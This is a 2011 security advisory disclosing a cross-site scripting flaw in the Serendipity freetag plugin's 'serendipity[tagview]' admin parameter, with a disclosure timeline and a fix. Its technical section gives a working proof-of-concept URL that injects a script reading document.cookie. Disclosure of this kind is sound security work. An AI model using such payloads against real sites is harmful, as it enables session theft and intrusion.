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SSCHADV2011-016 - Serendipity freetag plugin 'serendipity[tagview]' Cross-Site Scripting vulnerability

Advisory:
Serendipity freetag plugin ‘serendipity[tagview]’ Cross-Site Scripting vulnerability
Advisory ID: SSCHADV2011-016
Author:
Stefan Schurtz
Affected Software: Successfully tested on Serendipity 1.5.5
Vendor URL:
Vendor Status: fixed
CVE-ID: -
 
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Vulnerability Description:
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The freetag plugin
parameter "serendipity[tagview]" in Serendipity backend is prone to a Cross-Site Scripting vulnerability
 
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Technical Details:
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http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=managetags&serendipity[tagview]=<script>alert(document.cookie)</script>
 
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Solution:
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Update to the latest version

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Disclosure Timeline:
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22-Sep-2011 – informed developers
23-Sep-2011 – fixed in the latest version
25-Sep-2011 – release date of this security advisory
25-Sep-2011 – post on BugTraq

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Credits:
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Vulnerability found and advisory written by Stefan Schurtz.

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References:
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http://www.s9y.org

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